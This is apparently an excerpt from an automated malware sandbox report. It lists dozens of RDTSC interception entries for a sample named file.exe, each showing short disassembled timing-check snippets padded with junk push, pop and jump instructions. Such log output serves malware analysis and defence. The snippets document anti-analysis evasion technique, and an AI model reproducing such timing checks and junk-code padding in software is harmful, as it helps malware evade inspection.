                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D48F30 second address: D48F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4C169 second address: D4C185 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E8080F367h 0x00000008 jmp 00007F5E8080F361h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4C185 second address: D4C1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E810FCBB0h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F5E810FCBB2h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4E196 second address: D4E1B2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E8080F35Eh 0x00000008 jbe 00007F5E8080F356h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 js 00007F5E8080F358h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4E1B2 second address: D4E1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4E1B8 second address: D4E1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D4E1BE second address: D4E1C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC0011 second address: CC001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC001D second address: CC0023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D50D6E second address: D50D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jne 00007F5E8080F356h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5E8080F35Dh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D54F15 second address: D54F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D54753 second address: D54757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D54757 second address: D5475D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D548BB second address: D548D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F5E8080F362h 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D548D8 second address: D548E4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5E810FCBA6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58CF5 second address: D58D13 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5E8080F356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F5E8080F356h 0x00000011 jmp 00007F5E8080F35Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58D13 second address: D58D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E810FCBAEh 0x00000009 popad 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D57F88 second address: D57FD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F368h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F5E8080F364h 0x00000011 pop edx 0x00000012 jmp 00007F5E8080F364h 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D57FD0 second address: D57FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D57FD8 second address: D57FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58169 second address: D5817C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F5E810FCBA6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5817C second address: D58182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58182 second address: D58187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58497 second address: D584C3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5E8080F370h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F5E8080F368h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 js 00007F5E8080F356h 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5862C second address: D58632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58632 second address: D58636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D58636 second address: D58651 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5E810FCBABh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F5E810FCBA6h 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5E764 second address: D5E76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5E76A second address: D5E76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5E76E second address: D5E798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F364h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007F5E8080F35Ch 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5E798 second address: D5E79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5D05A second address: D5D05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5D05E second address: D5D06F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBADh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5D4DD second address: D5D4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5D4E3 second address: D5D4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0806F second address: D08075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D08075 second address: D08079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D5DA3A second address: D5DA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5E8080F35Dh 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6560F second address: D65613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D658E4 second address: D658EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D658EA second address: D658EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D65BB1 second address: D65BD7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E8080F356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F5E8080F369h 0x00000010 jmp 00007F5E8080F363h 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D08668 second address: D0866C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D66C74 second address: D66C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D66F39 second address: D66F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F5E810FCBB2h 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6B24D second address: D6B257 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E8080F356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6B257 second address: D6B25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6B25D second address: D6B270 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Ch 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6A41F second address: D6A42B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6A42B second address: D6A444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F5E8080F356h 0x0000000a jmp 00007F5E8080F35Fh 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6A444 second address: D6A469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5E810FCBB4h 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6A87A second address: D6A8A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Ch 0x00000007 jmp 00007F5E8080F360h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6A8A0 second address: D6A8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5E810FCBA6h 0x0000000a popad 0x0000000b je 00007F5E810FCBAEh 0x00000011 jns 00007F5E810FCBA6h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6AA10 second address: D6AA15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6AA15 second address: D6AA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6AE3E second address: D6AE47 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6AE47 second address: D6AE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D6AE56 second address: D6AE75 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E8080F356h 0x00000008 jns 00007F5E8080F356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5E8080F35Bh 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D78003 second address: D78019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E810FCBB1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D76918 second address: D76948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F5E8080F35Ah 0x0000000b jno 00007F5E8080F35Ch 0x00000011 popad 0x00000012 jp 00007F5E8080F37Bh 0x00000018 jnc 00007F5E8080F35Ah 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D76948 second address: D7694E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D76D00 second address: D76D32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F368h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5E8080F361h 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D75E1D second address: D75E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D75E23 second address: D75E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E8080F35Fh 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D7A568 second address: D7A59F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5E810FCBB7h 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D7A59F second address: D7A5A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D7C8EA second address: D7C8FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 je 00007F5E810FCBCAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D7C8FB second address: D7C904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81778 second address: D8177C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D8177C second address: D817A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5E8080F361h 0x0000000d pushad 0x0000000e jne 00007F5E8080F356h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81075 second address: D8107B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D8107B second address: D81081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81081 second address: D81085 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81085 second address: D810D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E8080F369h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5E8080F365h 0x00000012 jmp 00007F5E8080F369h 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D8140C second address: D81410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81410 second address: D81432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F5E8080F365h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D81432 second address: D81437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D82DCD second address: D82DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F35Fh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D90FDB second address: D9100C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jo 00007F5E810FCBB4h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5E810FCBACh 0x00000012 push edx 0x00000013 jmp 00007F5E810FCBB2h 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D9100C second address: D91010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D94707 second address: D9470B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA0F2 second address: DAA10D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F5E8080F360h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA27C second address: DAA286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5E810FCBA6h 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA286 second address: DAA29C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F362h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA542 second address: DAA546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA546 second address: DAA54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA54C second address: DAA553 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA808 second address: DAA80C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAA97A second address: DAA984 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E810FCBB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAAB44 second address: DAAB4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAAB4C second address: DAAB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d jmp 00007F5E810FCBACh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAB4C7 second address: DAB4CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAB4CF second address: DAB4D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DAB4D5 second address: DAB4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E8080F35Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DB1941 second address: DB1945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DBEE50 second address: DBEE56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DBEE56 second address: DBEE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DCEF88 second address: DCEFA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F364h 0x00000007 js 00007F5E8080F362h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DCEE41 second address: DCEE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DCEE45 second address: DCEE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: DD243D second address: DD2443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
